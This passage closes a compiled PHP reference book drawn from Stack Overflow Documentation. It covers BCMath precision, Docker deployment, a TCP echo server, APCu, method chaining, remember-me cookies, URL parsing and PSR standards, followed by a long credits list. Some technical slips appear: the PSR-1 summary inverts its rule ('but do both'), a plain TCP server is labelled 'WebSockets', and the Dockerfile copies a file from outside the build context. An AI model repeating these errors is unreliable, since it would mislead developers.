if(bccomp($result, "9223372036854775808") !== -1) { // if $result >= 9223372036854775807
$result = bcsub($result, "18446744073709551616"); // $result -= (1 << 64)
}
return $result;
}

Section 100.2: Comparison between BCMath and float arithmetic

operations
bcadd vs float+float
var_dump('10' + '-9.99'); // float(0.0099999999999998)
var_dump(10 + -9.99); // float(0.0099999999999998)
var_dump(10.00 + -9.99); // float(0.0099999999999998)
var_dump(bcadd('10', '-9.99', 20)); // string(22) "0.01000000000000000000"
bcsub vs float-float
var_dump('10' - '9.99'); // float(0.0099999999999998)
var_dump(10 - 9.99); // float(0.0099999999999998)
var_dump(10.00 - 9.99); // float(0.0099999999999998)

Complete PHP Tips & Secrets for Professionals 372

var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000"
bcmul vs int*int
var_dump('5.00' * '2.00'); // float(10)
var_dump(5.00 * 2.00); // float(10)
var_dump(bcmul('5.0', '2', 20)); // string(4) "10.0"
var_dump(bcmul('5.000', '2.00', 20)); // string(8) "10.00000"
var_dump(bcmul('5', '2', 20)); // string(2) "10"
bcmul vs float*float
var_dump('1.6767676767' * '1.6767676767'); // float(2.8115498416259)
var_dump(1.6767676767 * 1.6767676767); // float(2.8115498416259)
var_dump(bcmul('1.6767676767', '1.6767676767', 20)); // string(22) "2.81154984162591572289"
bcdiv vs float/float
var_dump('10' / '3.01'); // float(3.3222591362126)
var_dump(10 / 3.01); // float(3.3222591362126)
var_dump(10.00 / 3.01); // float(3.3222591362126)
var_dump(bcdiv('10', '3.01', 20)); // string(22) "3.32225913621262458471"

Chapter 101: Docker deployment

Docker is a very popular container solution being used widely for deploying code in production environments. It
makes it easier to Manage and Scale web-applications and microservices.

Section 101.1: Get docker image for php

In order to deploy the application on docker, first we need to get the image from registry.

docker pull php

This will get you the latest version of image from official php repository. Generally speaking, PHP is usually used to
deploy web-applications so we need an http server to go with the image. php:7.0-apache image comes pre-
installed with apache to make deployment hastle free.

Section 101.2: Writing dockerfile

Dockerfile is used to configure the custom image that we will be building with the web-application codes. Create a
new file Dockerfile in the root folder of project and then put the following contents in the same

FROM php:7.0-apache
COPY /etc/php/php.ini /usr/local/etc/php/
COPY . /var/www/html/
EXPOSE 80

The first line is pretty straight forward and is used to describe which image should be used to build out new image.
The same could be changed to any other specific version of PHP from the registry.

Second line is simply to upload php.ini file to our image. You can always change that file to some other custom file
location.

The third line would copy the codes in current directory to /var/www/html which is our webroot. Remember
/var/www/html inside the image.

The last line would simply open up port 80 inside the docker container.

Ignoring files

In some instances there might be some files that you don't want on server like environment configuration etc. Let
us assume that we have our environment in .env. Now in order to ignore this file, we can simply add it to

Complete PHP Tips & Secrets for Professionals 373

.dockerignore in the root folder of our codebase.

Section 101.3: Building image

Building image is not something specific to php, but in order to build the image that we described above, we can
simply use

docker build -t <Image name> .

Once the image is built, you can verify the same using

docker images

Which would list out all the images installed in your system.

Section 101.4: Starting application container

Once we have an image ready, we can start and serve the same. In order to create a container from the image, use

docker run -p 80:80 -d <Image name>

In the command above -p 80:80 would forward port 80 of your server to port 80 of the container. The flag -d tells
that the container should run as background job. The final specifies which image should be used to build the
container.

Checking container

In order to check running containers, simply use

docker ps

This will list out all the containers running on docker daemon.

Application logs

Logs are very important to debug the application. In order to check on them use

docker logs <Container id>

Chapter 102: WebSockets

Usage of socket extension implements a low-level interface to the socket communication functions based on the
popular BSD sockets, providing the possibility to act as a socket server as well as a client.

Section 102.1: Simple TCP/IP server

Minimal example based on PHP manual example found here: http://php.net/manual/en/sockets.examples.php

Create a websocket script that listens to Port 5000 Use putty, terminal to run telnet 127.0.0.1 5000 (localhost).
This script replies with the message you sent (as a ping-back)

<?php
set_time_limit(0); // disable timeout
ob_implicit_flush(); // disable output caching

// Settings
$address = '127.0.0.1';
$port = 5000;

Complete PHP Tips & Secrets for Professionals 374

/*
function socket_create ( int $domain , int $type , int $protocol )
$domain can be AF_INET, AF_INET6 for IPV6 , AF_UNIX for Local communication protocol
$protocol can be SOL_TCP, SOL_UDP (TCP/UDP)
@returns true on success
*/

if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {

echo "Couldn't create socket".socket_strerror(socket_last_error())."\n";
}

/*
socket_bind ( resource $socket , string $address [, int $port = 0 ] )
Bind socket to listen to address and port
*/

if (socket_bind($socket, $address, $port) === false) {

echo "Bind Error ".socket_strerror(socket_last_error($sock)) ."\n";
}

if (socket_listen($socket, 5) === false) {

echo "Listen Failed ".socket_strerror(socket_last_error($socket)) . "\n";
}

do {
if (($msgsock = socket_accept($socket)) === false) {
echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n";
break;
}

/* Send Welcome message. */

$msg = "\nPHP Websocket \n";

// Listen to user input

do {
if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}

// Reply to user with their message

$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
// Print message in terminal
echo "$buf\n";

} while (true);
socket_close($msgsock);
} while (true);

socket_close($socket);
?>

Chapter 103: APCu

APCu is a shared memory key-value store for PHP. The memory is shared between PHP-FPM processes of the same
pool. Stored data persists between requests.

Complete PHP Tips & Secrets for Professionals 375

Section 103.1: Iterating over Entries
The APCUIterator allows to iterate over entries in the cache:

foreach (new APCUIterator() as $entry) {

print_r($entry);
}

The iterator can be initialized with an optional regular expression to select only entries with matching keys:

foreach (new APCUIterator($regex) as $entry) {

print_r($entry);
}

Information about a single cache entry can be obtained via:

$key = '…';
$regex = '(^' . preg_quote($key) . '$)';
print_r((new APCUIterator($regex))->current());

Section 103.2: Simple storage and retrieval

apcu_store can be used to store, apcu_fetch to retrieve values:

$key = 'Hello';
$value = 'World';
apcu_store($key, $value);
print(apcu_fetch('Hello')); // 'World'

Section 103.3: Store information

apcu_cache_info provides information about the store and its entries:

print_r(apcu_cache_info());

Note that invoking apcu_cache_info() without limit will return the complete data currently stored.
To only get the meta data, use apcu_cache_info(true).
To get information about certain cache entries better use APCUIterator.

Chapter 104: Design Patterns

This topic provides examples of well known design patterns implemented in PHP.

Section 104.1: Method Chaining in PHP

Method Chaining is a technique explained in Martin Fowler's book Domain Specific Languages. Method Chaining is
summarized as

Makes modifier methods return the host object, so that multiple modifiers can be invoked in a single expression.

Consider this non-chaining/regular piece of code (ported to PHP from the aforementioned book)

$hardDrive = new HardDrive;

$hardDrive->setCapacity(150);
$hardDrive->external();
$hardDrive->setSpeed(7200);

Method Chaining would allow you to write the above statements in a more compact way:

$hardDrive = (new HardDrive)

Complete PHP Tips & Secrets for Professionals 376

 ->setCapacity(150)
->external()
->setSpeed(7200);

All you need to do for this to work is to return $this in the methods you want to chain from:

class HardDrive {
protected $isExternal = false;
protected $capacity = 0;
protected $speed = 0;

public function external($isExternal = true) {

$this->isExternal = $isExternal;
return $this; // returns the current class instance to allow method chaining
}

public function setCapacity($capacity) {

$this->capacity = $capacity;
return $this; // returns the current class instance to allow method chaining
}

public function setSpeed($speed) {

$this->speed = $speed;
return $this; // returns the current class instance to allow method chaining
}
}
When to use it

The primary use cases for utilizing Method Chaining is when building internal Domain Specific Languages. Method
Chaining is a building block in Expression Builders and Fluent Interfaces. It is not synonymous with those, though.
Method Chaining merely enables those. Quoting Fowler:

I've also noticed a common misconception - many people seem to equate fluent interfaces with Method Chaining.
Certainly chaining is a common technique to use with fluent interfaces, but true fluency is much more than that.

With that said, using Method Chaining just for the sake of avoiding writing the host object is considered a code
smell by many. It makes for unobvious APIs, especially when mixing with non-chaining APIs.

Additional Notes
Command Query Separation

Command Query Separation is a design principle brought forth by Bertrand Meyer. It states that methods mutating
state (commands) should not return anything, whereas methods returning something (queries) should not mutate
state. This makes it easier to reason about the system. Method Chaining violates this principle because we are
mutating state and returning something.

Getters

When making use of classes which implement method chaining, pay particular attention when calling getter
methods (that is, methods which return something other than $this). Since getters must return a value other than
$this, chaining an additional method onto a getter makes the call operate on the gotten value, not on the original
object. While there are some use cases for chained getters, they may make code less readable.

Law of Demeter and impact on testing

Method Chaining as presented above does not violate Law of Demeter. Nor does it impact testing. That is because
we are returning the host instance and not some collaborator. It's a common misconception stemming from people
confusing mere Method Chaining with Fluent Interfaces and Expression Builders. It is only when Method Chaining

Complete PHP Tips & Secrets for Professionals 377

returns other objects than the host object that you violate Law of Demeter and end up with Mock fests in your tests.

Chapter 105: Secure Remeber Me

I have been searching on this topic for sometime till i found this post
https://stackoverflow.com/a/17266448/4535386 from ircmaxell, I think it deserves more exposure.

Section 105.1: “Keep Me Logged In” - the best approach

store the cookie with three parts.

function onLogin($user) {
$token = GenerateRandomToken(); // generate a token, should be 128 - 256 bit
storeTokenForUser($user, $token);
$cookie = $user . ':' . $token;
$mac = hash_hmac('sha256', $cookie, SECRET_KEY);
$cookie .= ':' . $mac;
setcookie('rememberme', $cookie);
}

Then, to validate:

function rememberMe() {
$cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : '';
if ($cookie) {
list ($user, $token, $mac) = explode(':', $cookie);
if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) {
return false;
}
$usertoken = fetchTokenByUserName($user);
if (hash_equals($usertoken, $token)) {
logUserIn($user);
}
}
}

Chapter 106: php mysqli aected rows returns 0 when it

should return a positive integer
This script is designed to handle reporting devices (IoT), when a device is not previously authorized (in the devices
table in the database), I add the new device to a new_devices table. I run an update query, and if affected_rows
returns < 1, I insert.

When I have a new device report, the first time $stmt->affected_rows runs it returns 0, subsequent communication
returns 1, then 1, 0, 2, 2, 2, 0, 3, 3, 3, 3, 3, 3, 0, 4, 0, 0, 6, 6, 6, etc

It's as if the update statement is failing. Why?

Chapter 107: PHP Built in server

Column Column
-S Tell the php that we want a webserver
<hostname>:<port> The host name and the por to be used
-t Public directory
<filename> The routing script

Learn how to use the built in server to develop and test your application without the need of other tools like xamp,

Complete PHP Tips & Secrets for Professionals 378

wamp, etc.

Section 107.1: Running the built in server

php -S localhost:80

PHP 7.1.7 Development Server started at Fri Jul 14 15:11:05 2017

Listening on http://localhost:80
Document root is C:\projetos\repgeral
Press Ctrl-C to quit.

This is the simplest way to start a PHP server that responds to request made to localhost at the port 80.

The -S tells that we are starting a webserver.

The localhost:80 indicates the host that we are answering and the port. You can use other combinations like:

mymachine:80 - will listen on the address mymachine and port 80;

127.0.0.1:8080 - will listen on the address 127.0.0.1 and port 8080;

Section 107.2: built in server with specific directory and router script
php -S localhost:80 -t project/public router.php

PHP 7.1.7 Development Server started at Fri Jul 14 15:22:25 2017

Listening on http://localhost:80
Document root is /home/project/public
Press Ctrl-C to quit.

Chapter 108: How to break down an URL

As you code PHP you will most likely get your self in a position where you need to break down an URL into several
pieces. There's obviously more than one way of doing it depending on your needs. This article will explain those
ways for you so you can find what works best for you.

Section 108.1: Using parse_url()

parse_url(): This function parses a URL and returns an associative array containing any of the various components
of the URL that are present.

$url = parse_url('http://example.com/project/controller/action/param1/param2');

Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
)

If you need the path separated you can use explode

$url = parse_url('http://example.com/project/controller/action/param1/param2');
$url['sections'] = explode('/', $url['path']);

Array
(
[scheme] => http
[host] => example.com

Complete PHP Tips & Secrets for Professionals 379

 [path] => /project/controller/action/param1/param2
[sections] => Array
(
[0] =>
[1] => project
[2] => controller
[3] => action
[4] => param1
[5] => param2
)

If you need the last part of the section you can use end() like this:

$last = end($url['sections']);

If the URL contains GET vars you can retrieve those as well

$url = parse_url('http://example.com?var1=value1&var2=value2');

Array
(
[scheme] => http
[host] => example.com
[query] => var1=value1&var2=value2
)

If you wish to break down the query vars you can use parse_str() like this:

$url = parse_url('http://example.com?var1=value1&var2=value2');
parse_str($url['query'], $parts);

Array
(
[var1] => value1
[var2] => value2
)

Section 108.2: Using explode()

explode(): Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries
formed by the string delimiter.

This function is pretty much straight forward.

$url = "http://example.com/project/controller/action/param1/param2";
$parts = explode('/', $url);

Array
(
[0] => http:
[1] =>
[2] => example.com
[3] => project
[4] => controller
[5] => action
[6] => param1
[7] => param2
)

Complete PHP Tips & Secrets for Professionals 380

You can retrieve the last part of the URL by doing this:

$last = end($parts);
// Output: param2

You can also navigate inside the array by using sizeof() in combination with a math operator like this:

echo $parts[sizeof($parts)-2];
// Output: param1

Section 108.3: Using basename()

basename(): Given a string containing the path to a file or directory, this function will return the trailing name
component.

This function will return only the last part of an URL

$url = "http://example.com/project/controller/action/param1/param2";
$parts = basename($url);
// Output: param2

If your URL has more stuff to it and what you need is the dir name containing the file you can use it with dirname()
like this:

$url = "http://example.com/project/controller/action/param1/param2/index.php";
$parts = basename(dirname($url));
// Output: param2

Chapter 109: PSR

The PSR (PHP Standards Recommendation) is a series of recommendations put together by the FIG (Framework
Interop Group).

"The idea behind the group is for project representatives to talk about the commonalities between our projects and
find ways we can work together" - FIG FAQ

PSRs can be in the following states: Accepted, Review, Draft or Deprecated.

Section 109.1: PSR-4: Autoloader

PSR-4 is an accepted recommendation that outlines the standard for autoloading classes via filenames. This
recommendation is recommended as the alternative to the earlier (and now deprecated) PSR-0.

The fully qualified class name should match the following requirement:

\<NamespaceName>(\<SubNamespaceNames>)*\<ClassName>

It MUST contain a top level vendor namespace (E.g.: Alphabet)

It MAY contain one or more sub-namespaces (E.g.: Google\AdWord)
It MUST contain an ending class name (E.g.: KeywordPlanner)

Thus the final class name would be Alphabet\Google\AdWord\KeywordPlanner. The fully qualified class name
should also translate into a meaningful file path therefore Alphabet\Google\AdWord\KeywordPlanner would be
located in [path_to_source]/Alphabet/Google/AdWord/KeywordPlanner.php

Starting with PHP 5.3.0, a custom autoloader function can be defined to load files based on the path and filename
pattern that you define.

Complete PHP Tips & Secrets for Professionals 381

# Edit your php to include something like:
spl_autoload_register(function ($class) { include 'classes/' . $class . '.class.php';});

Replacing the location ('classes/') and filename extension ('.class.php') with values that apply to your structure.

Composer package manager supports PSR-4 which means, if you follow the standard, you can load your classes in
your project automatically using Composer's vendor autoloader.

# Edit the composer.json file to include

{
"autoload": {
"psr-4": {
"Alphabet\\": "[path_to_source]"
}
}
}

Regenerate the autoloader file

$ composer dump-autoload

Now in your code you can do the following:

<?php

require __DIR__ . '/vendor/autoload.php';

$KeywordPlanner = new Alphabet\Google\AdWord\KeywordPlanner();

Section 109.2: PSR-1: Basic Coding Standard

PSR-1 is an accepted recommendation and outlines a basic standard recommendation for how code should be
written.

It outlines naming convetions for classes, methods and constants.

It makes adopting PSR-0 or PSR-4 recommendations a requirement.
It indicates which PHP tags to use: <?php and <?= but not <?.
It specifies what file encoding to use (UTF8).
It also states that files should either declare new symbols (classes, functions, constants, etc.) and cause no
other side effects, or execute logic with side effects and not define symbols, but do both.

Complete PHP Tips & Secrets for Professionals 382

Credits
Thank you greatly to all the people from Stack Overflow Documentation who helped provide this content,
more changes can be sent to [email protected] for new content to be published or updated

2awm366 Chapter 18
54 69 6D Chapter 2
7ochem Chapters 1, 2, 3, 14 and 85
A.L Chapter 37
a4arpan Chapter 49
AbcAeffchen Chapters 3, 89 and 91
Abhi Beckert Chapters 12, 28, 37, 65, 70 and 82
Abhishek Gurjar Chapters 10, 32, 34 and 35
Adam Chapter 63
Adil Abbasi Chapters 2, 12 and 85
AeJey Chapter 8
afeique Chapter 2
Ajant Chapters 17 and 54
Akshay Khale Chapter 53
Ala Eddine JEBALI Chapter 24
Albzi Chapter 80
Aleks G Chapter 73
Alex Jimenez Chapter 88
Alexander Guz Chapters 2 and 12
alexander.polomodov Chapters 19, 22 and 52
Alexey Chapters 3 and 28
Alexey Kornilov Chapter 15
Ali MasudianPour Chapter 38
Alok Patel Chapter 90
Alon Eitan Chapter 104
Alphonsus Chapter 25
Amir Forsati Q. Chapter 5
AnatPort Chapters 5, 43 and 59
Andreas Chapters 18 and 90
Andrew Chapters 1 and 34
Anees Saban Chapter 91
Ani Menon Chapter 58
Anil Chapters 1, 14, 15 and 85
AnotherGuy Chapter 11
Anthony Vanover Chapters 9 and 81
Antony D'Andrea Chapter 90
Anwar Nairi Chapter 82
AppleDash Chapter 2
Arkadiusz Kondas Chapter 15
Artsiom Tymchanka Chapter 50
Arun3x3 Chapter 90
Asaph Chapters 29, 35 and 37
Atiqur Chapter 89
AVProgrammer Chapters 15 and 68
B001 Chapters 2, 23 and 80
BacLuc Chapter 82
bakahoe Chapter 59
baldrs Chapters 7 and 26
bansi Chapter 68

Complete PHP Tips & Secrets for Professionals 383

Benjam Chapter 86
bhrached Chapter 97
Billy G Chapter 85
bish Chapter 9
bishop Chapter 6
blade Chapter 83
bnxio Chapter 11
Boysenb3rry Chapter 71
bpoiss Chapter 3
br3nt Chapters 12, 82, 85 and 104
Bram Chapter 41
BrokenBinary Chapters 11, 15, 33 and 36
BSathvik Chapter 49
bwegs Chapter 85
bwoebi Chapters 2, 3, 5, 13, 15, 35, 43, 52, 54, 56, 58, 62, 67, 85 and 89
cale_b Chapters 1, 2 and 85
Callan Heard Chapter 49
Calvin Chapter 34
Canis Chapter 12
caoglish Chapter 90
cFreed Chapter 5
Charlie H Chapter 85
chh Chapter 89
Chief Wiggum Chapter 41
Chris Forrence Chapter 50
Chris White Chapters 25, 30 and 33
Christian Chapters 2, 41 and 75
Christopher K. Chapter 5
Chrys Ugwu Chapter 21
chumkiu Chapter 12
cjsimon Chapter 46
Code4R7 Chapter 69
cpalinckx Chapter 85
CStff Chapter 43
cyberbit Chapter 14
CᴴᵁᴮᴮʸNᴵᴺᴶᴬ Chapter 14
Daniel Waghorn Chapter 25
DanTheDJ1 Chapter 10
Darren Chapters 4, 12, 48 and 89
David Chapters 3, 85 and 91
David Packer Chapter 19
daviddhont Chapter 48
Dennis Haarbrink Chapter 12
dikirill Chapter 18
Dipen Shah Chapter 5
Dipesh Poudel Chapter 1
DJ Sipe Chapter 25
Dmytrechko Chapters 13 and 85
Dmytro G. Sergiienko Chapter 4
Dov Benyomin
Chapter 25
Sohacheski
Dragos Strugar Chapters 11 and 23
Drew Chapter 82
EatPeanutButter Chapters 57 and 82
Ed Cottrell Chapters 1, 15, 19, 26, 82, 85 and 104

Complete PHP Tips & Secrets for Professionals 384

Edvin Tenovimas Chapters 2, 44, 49 and 54
Edward Chapter 19
Eisenheim Chapter 99
Ekin Chapter 12
Emil Chapter 34
Epodax Chapter 21
Erki A Chapter 72
Ernestas Stankevičius Chapters 37 and 65
Exagone313 Chapters 32 and 50
Félix Gagnon Chapters 7 and 25
F. Müller Chapters 3, 7 and 89
F0G Chapter 2
Fathan Chapter 91
Filip Š Chapter 84
Finwe Chapter 13
franga2000 Chapters 46 and 52
gabe3886 Chapter 28
Gabriel Solomon Chapter 51
Gaurav Chapter 1
Gaurav Srivastava Chapter 3
georoot Chapters 48, 75, 77, 78 and 101
Gerard Roche Chapters 26 and 39
Gino Pane Chapters 2, 5, 15 and 54
Gopal Sharma Chapter 88
Gordon Chapters 40 and 104
GordonM Chapter 47
gracacs Chapter 5
GuRu Chapter 3
H. Pauwelyn Chapter 1
Hardik Kanjariya ツ Chapter 28
Haridarshan Chapter 10
Harikrishnan Chapter 89
Henders Chapters 5 and 10
Henrique Barcelos Chapters 2, 12, 50, 82, 85 and 104
Hirdesh Vishwdewa Chapters 2 and 85
HPierce Chapters 5, 30 and 39
hspaans Chapter 25
Ian Drake Chapter 50
Ilker Mutlu Chapter 96
Ilyas Mimouni Chapter 15
ImClarky Chapters 42 and 68
Ivan Chapter 82
Ivijan Stefan Stipić Chapter 10
Jack hardcastle Chapter 12
James Chapters 18, 20 and 59
James Alday Chapter 18
Jared Dunham Chapter 49
Jari Keinänen Chapter 9
Jason Chapters 12 and 13
jasonlam604 Chapter 9
Jay Chapter 82
Jaya Parwani Chapter 2
jayantS Chapter 8
Jaydeep Pandya Chapter 78
JayIsTooCommon Chapter 34

Complete PHP Tips & Secrets for Professionals 385

JC Lee Chapter 16
jcalonso Chapter 3
jcuenod Chapter 43
Jees K Denny Chapter 49
Jens A. Koch Chapters 1, 6, 10 and 43
jesussegado Chapter 96
Jhollman Chapter 58
Jimmmy Chapter 18
jlapoutre Chapter 22
jmattheis Chapters 44, 85 and 89
Jo. Chapters 3 and 42
Joe Chapters 34 and 103
John Chapter 106
John C Chapter 11
John Conde Chapters 8, 9, 17 and 32
John Slegers Chapters 1, 2, 3, 12, 15, 22, 69, 85 and 104
JonasCz Chapter 1
Jonathan Dalgaard Chapter 70
JonMark Perry Chapter 34
juandemarco Chapter 89
Juha Palomäki Chapter 41
JustCarty Chapters 49 and 53
jwriteclub Chapters 12, 42, 50 and 104
K48 Chapter 85
Kamehameha Chapter 21
Karim Geiger Chapters 15 and 30
Katie Chapter 52
kelunik Chapters 13, 19 and 67
Kenyon Chapter 96
kero Chapter 12
Kevin Campion Chapter 66
kisanme Chapter 85
Kodos Johnson Chapter 3
krtek Chapter 4
ksealey Chapter 80
Kuhan Chapter 94
Kzqai Chapter 1
Lambda Ninja Chapter 49
Laposhasú Acsa Chapter 52
leguano Chapter 39
Leith Chapter 15
Ligemer Chapter 15
Linus Chapter 19
littlethoughts Chapter 79
Loopo Chapter 18
lxer Chapter 15
m02ph3u5 Chapters 2 and 3
Maarten Oosting Chapter 28
Machavity Chapters 12, 15, 22, 30, 49 and 82
MackieeE Chapter 3
Magisch Chapters 3, 82 and 85
maioman Chapter 9
Majid Chapters 11, 12, 22, 23, 33 and 51
manetsus Chapter 1
Manikiran Chapter 42

Complete PHP Tips & Secrets for Professionals 386

Manolis Agkopian Chapter 82
Mansouri Chapter 48
Manulaiko Chapter 23
Marc Chapter 85
Marcel dos Santos Chapter 4
Mark H. Chapter 85
Marten Koetsier Chapters 5, 17, 34, 46 and 85
Martijn Chapter 49
Martijn Gastkemper Chapter 4
Martin Chapter 5
martin Chapter 67
Matei Mihai Chapters 3, 15 and 29
matiaslauriti Chapter 43
Matt Clark Chapter 28
Matt Raines Chapters 29, 34 and 42
Matt S Chapters 1, 13, 23, 25, 34, 38, 48, 55, 61, 82, 90 and 91
Matze Chapter 33
Maxime Chapter 90
Meisam Mulla Chapter 3
Michael Thompson Chapter 20
mickmackusa Chapter 10
Mike Chapter 60
miken32 Chapters 1, 3, 4, 5, 15, 18, 24, 28, 34, 37, 39, 43, 46, 47, 50, 63, 64, 82 and 85
Milan Chheda Chapter 89
mjsarfatti Chapter 21
mleko Chapters 1 and 50
Mohamed Belal Chapters 38 and 104
Mohammad Sadegh Chapters 44 and 85
Mohyaddin Alaoddin Chapter 3
moopet Chapter 5
Moppo Chapters 22 and 25
mpavey Chapter 1
mTorres Chapter 11
Mubashar Abbas Chapters 1 and 2
Mubashar Iqbal Chapter 39
Muhammad Sumon
Chapter 25
Molla Selim
mulquin Chapter 50
Mushti Chapter 2
n Chapter 11
naitsirch Chapter 81
Nate Chapters 2, 12, 34 and 85
Nathan Arthur Chapters 1 and 85
Neil Strickland Chapter 85
Nguyen Thanh Chapter 42
Nic Wortel Chapter 13
nickb Chapter 24
Nijraj Gelani Chapter 10
Noah van der Aa Chapter 98
noufalcep Chapters 89 and 91
Obinna Nwakwue Chapter 49
ojrask Chapters 1, 2, 5, 12, 21 and 50
Oldskool Chapter 20
Ormoz Chapter 74
Ortomala Lokni Chapter 34

Complete PHP Tips & Secrets for Professionals 387

Oscar David Chapter 59
Pablo Martinez Chapter 63
Panda Chapters 1, 11, 15 and 85
Parziphal Chapter 2
Patrick Simard Chapter 108
paulmorriss Chapter 1
Paulo Lima Chapter 107
Paulpro Chapter 25
Pawel Dubiel Chapter 15
Pedro Pinheiro Chapters 4 and 8
Pekka 웃 Chapter 9
Perry Chapters 13 and 20
Petr R. Chapters 9, 34 and 49
philwc Chapter 82
Piotr Olaszewski Chapters 15, 16 and 76
Praveen Kumar Chapter 85
Proger_Cbsk Chapter 3
p_blomberg Chapter 1
Quill Chapter 65
Rafael Dantas Chapters 15 and 85
rap Chapters 1, 3, 5, 34 and 82
Raptor Chapter 3
Ravi Hirani Chapter 3
Rebecca Close Chapter 93
RelicScoth Chapter Chapter 110
rfsbsb Chapters 35 and 63
Richard Turner Chapter 89
Rick James Chapters 15, 49 and 74
Rizier123 Chapter 3
Robbie Averill Chapters 2, 4, 7, 9, 12, 25 and 50
robert Chapter 49
Robin Panta Chapters 43 and 48
Rocket Hazmat Chapter 16
roman reign Chapter 34
Ruslan Bes Chapters 4, 5, 26, 29, 35, 44, 89 and 90
Ruslan Osmanov Chapter 67
Ryan K Chapter 28
ryanm Chapter 85
RyanNerd Chapters 3 and 90
ryanyuyu Chapter 15
S.I. Chapter 18
Safoor Safdar Chapter 25
SaitamaSama Chapters 8, 25, 31 and 34
Sam Onela Chapter 18
Saurabh Chapter 58
scottevans93 Chapter 14
Script47 Chapter 48
Script_Coded Chapter 34
Sebastian Brosch Chapters 1 and 100
Sebastianb Chapter 51
secelite Chapter 48
Serg Chernata Chapter 52
Shane Chapter 27
Shawn Patrick Rice Chapter 50
Sherif Chapters 87 and 92

Complete PHP Tips & Secrets for Professionals 388

shyammakwana.me Chapter 44
signal Chapter 65
SirNarsh Chapter 102
Smar Chapters 21 and 49
Chapters 1, 2, 3, 10, 12, 21, 28, 30, 34, 41, 50, 70, 74, 79, 80, 84, 85, 86, 89, 90, 91,
SOFe
97 and 100
Software Guy Chapter 1
Sourav Ghosh Chapter 41
StasM Chapters 34 and 85
Steve Chamaillard Chapter 19
Sumurai8 Chapter 25
Sunitrams' Chapter 31
SuperBear Chapter 34
Sverri M. Olsen Chapters 13 and 59
Svish Chapter 85
SZenC Chapters 2, 85 and 88
talhasch Chapter 50
TecBrat Chapter 1
Technomad Chapter 16
tereško Chapters 13, 43 and 82
Tgr Chapters 3, 61 and 82
TGrif Chapter 26
Thaillie Chapter 85
Thamilan Chapters 5 and 57
Thara Chapter 41
theomessin Chapter 30
Thibaud Dauce Chapter 3
Thijs Riezebeek Chapters 3, 12, 16, 22, 23, 25, 26, 39, 51 and 55
think123 Chapters 14 and 62
this.lau_ Chapters 18 and 95
Thlbaut Chapter 3
Thomas Chapter 35
Thomas Gerot Chapter 13
Timothy Chapter 85
Timur Chapter 85
Toby Allen Chapter 82
toesslab.ch Chapter 1
Tom Chapters 13, 94 and Chapter 110
Tom Wright Chapters 5 and 23
Tomáš Fejfar Chapter 15
Tomasz Tybulewicz Chapter 4
tpunt Chapters 3, 12, 19, 34, 40, 64, 82 and 85
tristansokol Chapter 83
TryHarder Chapter 43
tyteen4a03 Chapter 13
Ultimater Chapters 3 and 85
unarist Chapters 3 and 4
undefined Chapters 48 and 64
Undersc0re Chapter 48
Unex Chapter 2
uruloke Chapters 21 and 33
user128216 Chapter 1
user2914877 Chapter 81
uzaif Chapters 15 and 85
u_mulder Chapter 30

Complete PHP Tips & Secrets for Professionals 389

Vadim Kokin Chapter 20
Veerendra Chapter 89
Ven Chapter 85
Victor T. Chapter 45
vijaykumar Chapters 3, 12 and 67
Viktor Chapter 8
Vincent Teyssier Chapters 48 and 82
walid Chapters 11 and 94
warlock Chapter 59
webDev Chapter 48
webNeat Chapter 50
Will Chapters 5 and 12
Willem Stuursma Chapter 15
William Perron Chapter 85
wogsland Chapter 34
Woliul Chapter 58
xims Chapter 1
Xorifelse Chapter 48
Yehia Awad Chapter 28
yesitsme Chapter 105
Your Common Sense Chapters 82 and 85
Yuri Blanc Chapter 15
Yury Fedorov Chapters 15, 82 and 91
Ziumin Chapter 28

Complete PHP Tips & Secrets for Professionals 390

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